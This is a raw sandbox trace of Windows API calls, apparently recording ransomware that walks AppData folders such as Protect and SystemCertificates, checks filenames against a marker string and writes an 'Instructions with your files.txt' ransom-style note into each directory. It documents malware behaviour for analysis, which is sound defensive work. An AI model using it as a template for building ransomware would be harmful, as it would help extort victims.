[0132.293] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1
[0132.293] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned 100
[0132.293] GetProcessHeap () returned 0x810000
[0132.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.293] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*") returned 102
[0132.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.295] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\.") returned 102
[0132.295] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.295] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.295] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\..") returned 103
[0132.295] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.295] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1
[0132.295] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 137
[0132.295] StrStrIW (lpFirst="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpSrch="SDfghjkl") returned 0x0
[0132.295] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1
[0132.295] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred") returned 110
[0132.295] StrStrIW (lpFirst="Preferred", lpSrch="SDfghjkl") returned 0x0
[0132.295] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0
[0132.295] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Instructions with your files.txt") returned 133
[0132.295] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.295] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.296] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.296] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.297] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.297] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.297] CloseHandle (hObject=0x11c) returned 1
[0132.297] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.297] GetProcessHeap () returned 0x810000
[0132.297] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.297] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 0
[0132.297] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\Instructions with your files.txt") returned 87
[0132.297] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.297] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.298] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.299] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.299] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.299] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.299] CloseHandle (hObject=0x118) returned 1
[0132.299] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.299] GetProcessHeap () returned 0x810000
[0132.299] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.299] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1
[0132.299] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 65
[0132.299] GetProcessHeap () returned 0x810000
[0132.299] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.299] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned 67
[0132.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.299] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\.") returned 67
[0132.299] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.299] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.300] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\..") returned 68
[0132.300] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.300] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1
[0132.300] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 68
[0132.300] GetProcessHeap () returned 0x810000
[0132.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.300] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned 70
[0132.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.300] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\.") returned 70
[0132.300] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.300] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.300] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\..") returned 71
[0132.300] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.300] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1
[0132.300] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 81
[0132.300] GetProcessHeap () returned 0x810000
[0132.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0132.302] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned 83
[0132.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0132.303] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\.") returned 83
[0132.303] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.303] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.303] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\..") returned 84
[0132.303] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.303] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.303] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\Instructions with your files.txt") returned 114
[0132.303] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0132.303] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0132.304] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0132.304] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0132.304] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0132.305] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0132.305] CloseHandle (hObject=0x120) returned 1
[0132.305] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0132.305] GetProcessHeap () returned 0x810000
[0132.305] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0132.305] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1
[0132.305] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 73
[0132.305] GetProcessHeap () returned 0x810000
[0132.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0132.305] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned 75
[0132.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0132.305] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\.") returned 75
[0132.305] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.305] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.305] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\..") returned 76
[0132.305] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.305] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.305] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\Instructions with your files.txt") returned 106
[0132.306] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0132.308] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
